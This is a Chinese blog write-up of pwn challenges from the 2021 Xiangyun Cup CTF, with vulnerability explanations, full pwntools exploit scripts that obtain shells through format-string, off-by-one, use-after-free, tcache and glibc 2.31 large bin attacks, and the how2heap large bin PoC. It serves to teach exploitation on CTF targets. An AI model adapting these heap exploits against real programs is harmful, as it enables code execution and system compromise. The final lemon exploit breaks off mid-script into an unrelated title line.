pwn2021 祥云杯 (部分)
Posted woodwhale
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pwn2021 祥云杯 (部分)相关的知识,希望对你有一定的参考价值。
【pwn】2021 祥云杯 (部分)
前言
国庆的最后几天,一直在补题,发现祥云杯那个时候一道堆题都不会,直接开始补题。
补题过程中,发现自己还是太菜了,对着师傅们的wp都有些不明白.jpg
1、note
这应该是祥云杯里最简单的题目了QAQ。但是之前没有学过IO,参考一位师傅写的这篇博客,pwn题堆利用的一些姿势 – IO_FILE
漏洞点在于scanf的格式化字符串,可以任意位置写。发现stack中有_IO_2_1_stdout_
那么,我们写入p64(0xfbad1800) + p64(0)*3来泄露libc,最后再用scanf的任意写,向malloc_hook中写入one_gadget,用realloc_hook调栈帧,从而getshell
exp如下
def cmd(idx):
sla(":",str(idx))
def add(size,content="a"):
cmd(1)
sla(":",str(size))
sla(":",content)
ru("0x")
return(i16(r(12)))
def say(buf,content):
cmd(2)
sa("?",buf)
sla("?",content)
say(b"%7$s",p64(0xfbad1800) + p64(0)*3)
libc.address = uu64(ru(b"\\x7f",False)[-6:])-(0x7f2ee70626e0-0x7f2ee6c9f000)
leak("libc_base",libc.address)
malloc_hook = libc.sym["__malloc_hook"]
realloc_hook = malloc_hook-0x8
realloc = libc.sym['realloc']
ogs = og(libc.path)[1] + libc.address
leak("malloc_hook",malloc_hook)
say(b"%7$saaaa"+p64(realloc_hook),p64(ogs)+p64(realloc+0x8))
# dbg()
cmd(1)
sla(":","10")
ia()
2、JigSaw’sCage
这题首先需要得到一个具有可执行权限的chunk,通过v1的整数溢出来将v2改写
然后就是申请堆块写入shellcode,一段shellcode的最大长度为0x10
看了很多wp,有分很多小段写入shellcode的师傅,也有通过非常精妙的寄存器执行read函数再来执行的sh()的shellcode,这里用wjh师傅的超短shellcode
我们注意到test函数就是执行我们写入堆中的shellcode,并且是通过call rdx来调用,这里的rdx就是heap的地址,并且在call之前是将eax置为0了,而read函数的系统调用号也是0。
所以我们只需要来构建一个read(0,heap,0x1000),就可以向heap段写入0x1000大小的内容,并且具有可执行权限,所以直接向其中输入shellcraft.sh()就可以了,在这之前使用nop滑梯就完成了!
shellcode = '''
xor rdi, rdi
mov rsi, rdx
mov rdx, 0x1000
syscall
'''
# shellcode 最长0x10, 充分利用调用时各个寄存器的值
# 程序使用了 call rdx ,这里 rdx 为 heap 段地址,并且 eax 给置 0
# 进行 0 号系统调用 read 读到我们正在执行的 heap 中0x1000大小
完整exp如下:
sla("Name:","woodwhale")
sla("Make your Choice:",str(u64(p32(0)+p32(15))))
# add 0
sla("Choice : ","1")
sla("Index? : ","0")
shellcode = '''
xor rdi, rdi
mov rsi, rdx
mov rdx, 0x1000
syscall
'''
shellcode = asm(shellcode)
# edit 0
sla("Choice : ","2")
sla("Index? : ","0")
sla("iNput:",shellcode)
# test 0
sla("Choice : ","4")
sla("Index? : ","0")
# get shell
sl(b'\\x90' * 0x10 + asm(shellcraft.sh()))
# dbg()
ia()
3、PassWordBox_FreeVersion
这题的话,有一个加密操作,用key和咱们box中的content进行xor加密,如果我们的content为空,那么就会输出key
这里用到add()函数中的一个off by one漏洞,真的是显而易见
因为这题的edit函数只能操作一次,所以我们需要给到一个free_chunk的fd指针改为一个hook
那么我们只能通过堆叠的操作来得到free_hook,并向其中写入system,最后free(“sh”)就能getshell了
完整exp如下:
# leak key
add("a",0x18,"\\x00"*8+"\\n") # 0
ru(" Save ID:")
key = uu64(r(8))
leak("key",key)
# 构造堆叠
add("1",0xf0,"\\x00"*8+"\\n") # 1
add("2",0x80,"\\x00"*8+"\\n") # 2
add("3",0x80,"\\x00"*8+"\\n") # 3
add("4",0xf0,"\\x00"*8+"\\n") # 4
for i in range(5,12):
add(str(i),0xf0,"\\x00"*8+"\\n") # 5-11
for i in range(7):
free(5+i)
free(3)
# 伪造prev size进行向上合并,可以使用指针2
add("3",0x88,b"\\x00"*0x80+p64((0x100 + 0x90 + 0x90)^key)+b"\\x00")
free(1)
free(4)
for i in range(7):
add(str(i+5),0xf0,"\\x00"*8+"\\n") # 5-11
add("1",0xf0,"\\x00"*8+"\\n") # 1
# leak libc
show(2)
ru("Pwd is: ")
malloc_hook = (u64(r(8))^key) - 112
leak("malloc",malloc_hook)
libc.address = malloc_hook - libc.sym["__malloc_hook"]
leak("base",libc.address)
free_hook = libc.sym["__free_hook"]
system = libc.sym["system"]
# free_hook写入system,free("sh")来getshell
add("11",0x80,p64(0^key)*4+b"\\n")
add("12",0x80,p64(0^key)*4+b"\\n")
free(11)
edit(2,p64(free_hook))
add("11",0x80,p64(0x6873^key)*4+b"\\n") # "sh" -> 0x6973
add("12",0x80,p64(system^key)*4+b"\\n")
free(11)
ia()
4、PassWordBox_ProVersion
这题真的是学到新东西了,libc版本是比较新的2.31,所以很多攻击都失效了,这里使用的是对我来说船新的large bin attack,参考一位师傅的这篇博客,[阅读型]glibc-2.31中的tcache stashing unlink与large bin attack,还有how2heap的2.31中的large bin attack
1. large bin attack
在开始分析题目之前,我们来了解一下glibc2.31中的large bin attack(与网上多数的2.23的large bin attack不一样)
作用:任意地址写大数(这个大数其实是chunk指针)
条件:可以更改chunk的bk_next指针
以下是how2heap中的2.31的large bin attack源码
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
/*
A revisit to large bin attack for after glibc2.30
Relevant code snippet :
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
*/
int main(){
/*Disable IO buffering to prevent stream from interfering with heap*/
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
printf("\\n\\n");
printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\\n\\n");
printf("Check 1 : \\n");
printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\\n");
printf("> malloc_printerr (\\"malloc(): largebin double linked list corrupted (nextsize)\\");\\n");
printf("Check 2 : \\n");
printf("> if (bck->fd != fwd)\\n");
printf("> malloc_printerr (\\"malloc(): largebin double linked list corrupted (bk)\\");\\n\\n");
printf("This prevents the traditional large bin attack\\n");
printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \\n\\n");
printf("====================================================================\\n\\n");
size_t target = 0;
printf("Here is the target we want to overwrite (%p) : %lu\\n\\n",&target,target);
size_t *p1 = malloc(0x428);
printf("First, we allocate a large chunk [p1] (%p)\\n",p1-2);
size_t *g1 = malloc(0x18);
printf("And another chunk to prevent consolidate\\n");
printf("\\n");
size_t *p2 = malloc(0x418);
printf("We also allocate a second large chunk [p2] (%p).\\n",p2-2);
printf("This chunk should be smaller than [p1] and belong to the same large bin.\\n");
size_t *g2 = malloc(0x18);
printf("Once again, allocate a guard chunk to prevent consolidate\\n");
printf("\\n");
free(p1);
printf("Free the larger of the two --> [p1] (%p)\\n",p1-2);
size_t *g3 = malloc(0x438);
printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\\n");
printf("\\n");
free(p2);
printf("Free the smaller of the two --> [p2] (%p)\\n",p2-2);
printf("At this point, we have one chunk in large bin [p1] (%p),\\n",p1-2);
printf(" and one chunk in unsorted bin [p2] (%p)\\n",p2-2);
printf("\\n");
p1[3] = (size_t)((&target)-4);
printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\\n",(&target)-4);
printf("\\n");
size_t *g4 = malloc(0x438);
printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\\n", p2-2, p2-2);
printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\\n");
printf(" the modified p1->bk_nextsize does not trigger any error\\n");
printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd->nexsize is overwritten to address of [p2] (%p)\\n", p2-2, p1-2, p2-2);
printf("\\n");
printf("In out case here, target is now overwritten to address of [p2] (%p), [target] (%p)\\n", p2-2, (void *)target);
printf("Target (%p) : %p\\n",&target,(size_t*)target);
printf("\\n");
printf("====================================================================\\n\\n");
assert((size_t)(p2-2) == target);
return 0;
}
运行结果:
如何构造?
- ptr1比ptr2大,申请了ptr1之后将其free
- malloc一个比ptr1大的chunk(为了让ptr1进入large bin)
- free掉ptr2,将ptr1的bk_next改为target-0x20的地址
- malloc一个比ptr2大的chunk(让ptr2进入large bin)
至此,target成为了ptr2的地址值
2. tcache
我们看看tcache_perthread_struct结构体的源码
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
# define TCACHE_MAX_BINS 64
static __thread tcache_perthread_struct *tcache = NULL;
- tcache_entry 用单向链表的方式链接了相同大小的处于空闲状态(free 后)的 chunk
- counts 记录了 tcache_entry 链上空闲 chunk 的数目,每条链上最多可以有 7 个 chunk
tcache_entry数组的大小为TCACHE_MAX_BINS,其实这就是tcache的最大数量,宏定义为64
结合large bin attac,如果我们可以将这个TCACHE_MAX_BINS数改成一个大数,那么是不是我们每次malloc的chunk块free之后都会进入tcache呢?!
答案是肯定的!
3. 漏洞利用
-
和上一题一样,仍然是通过box的content为空来泄露key值
-
因为add函数中只能malloc大于0x41F的chunk,所以考虑large bin attack
-
delete函数中明显的uaf,没有将ptr指针置为0
-
与上一题相比,edit没有次数限制
综上,我们使用large bin attac攻击TCACHE_MAX_BINS成为一个大数,然后改写free_hook为system,free(“sh”)
完整exp如下:
add(0,0x528,"\\n")
ru("Save ID:")
key = uu64(r(8))
leak("key",key)
add(1,0x500,"\\n")
add(2,0x518,"\\n")
add(3,0x500,"\\n")
add(4,0x500,"\\n")
free(0)
recover(0)
show(0)
ru("Pwd is: ")
libc.address = (uu64(r(8)) ^ key) - (0x7f18037d3bea-0x7f18035e8000)
leak("base",libc.address)
add(5,0x538,"\\n") # put 0 to large bin
tcache_max_bins = libc.address + 0x1eb2d0
tcache_struct = libc.address + 0x1f3530
free_hook = libc.sym["__free_hook"]
system = libc.sym["system"]
leak("tcache_max_bins",tcache_max_bins)
free(2)
recover(2)
show(0)
ru("Pwd is: ")
fd = uu64(r(8)) ^ key
r(8)
fd_next = uu64(r(8)) ^ key
edit(0,p64(fd)*2+p64(fd_next)+p64(tcache_max_bins-0x20))
# set tcache_max_bins to vary big
add(6,0x530,"\\n") # put 2 to largebin
sleep(1)
free(1)
free(4)
recover(4)
edit(4,p64(free_hook))
add(7,0x500,"\\n")
add(8,0x500,"\\n")
edit(8,p64(system))
# dbg()
sleep(0.1)
edit(3,b"/bin/sh\\x00")
# dbg()
free(3)
# dbg()
ia()
这题比较坑的就是large bin attack后,gdb调试使用par指令查不到,只能用heap,调试就很烦Orz
5、lemon
这题我觉得是祥云杯这几题里最难的了QAQ,我调了一个下午+一个晚上…
比赛的时候pwn神师傅穿了真的是tqltql,感谢pwn神师傅niyah的libc2.26帮助
(虽然glibc是yyds,但是old_list里的libc2.26资源被删了阿!!!无法下载QAQ)
1. main
main函数中有一个open("./flag",0)
很显眼,而而执行他的条件是v4>0
,而v4又是一个函数的返回值
2. sub_DF3
我们跟进这个函数,因为自己逆向太拉了,所以参考了一位师傅的2021 祥云杯 pwn lemon_pwn,分析很完整
我直接输入“1111”发现也是可以的
这样,我们就将flag的内容写入了stack上
3. menu
然后就进入了常规的菜单了,四个函数都有
add中有个uaf
show可以泄露chunk后四位地址
delete删除的很干净,就没的说了
edit函数有一个数组越界,只能edit一次
4. 漏洞利用
我们利用uaf、tcache double free和数组越界来通过stdout读取stack中的flag
-
先用数组越界来更改stdout,从而获取libc_base
通过bss段计算ptr_list与stdout的偏移为0x10c
更改stdout为
p64(0xfbad3887)+p64(0)*3+p8(0)
这样泄露出来的第一个addr是_IO_2_1_stdin_
-
通过libc2.26的tcache的double free来构造chunk,最后申请到tcache的管理块,改写管理块
-
改写tcache为
_IO_2_1_stdout_-0x33
(类似fast bin,绕过检测)
-
改写stdout为
p64(0xfbad1887)+p64(0)*3+p64(libc.sym["environ"])+p64(libc.sym["environ"]+0x10)[0:5]
泄露stack environ
-
free tcache管理块并再次申请,改写为
_IO_2_1_stdout_-0x33
-
再次改写stdout为flag的address(在此之前动调偏移量),打印flag
exp如下:
def cmd(idx):
sla(">>>",str(idx))
def add(index,name,size,content,flag=True):
cmd(1)
sla("Input the index of your lemon: ",pwn2022 祥云杯 部分wp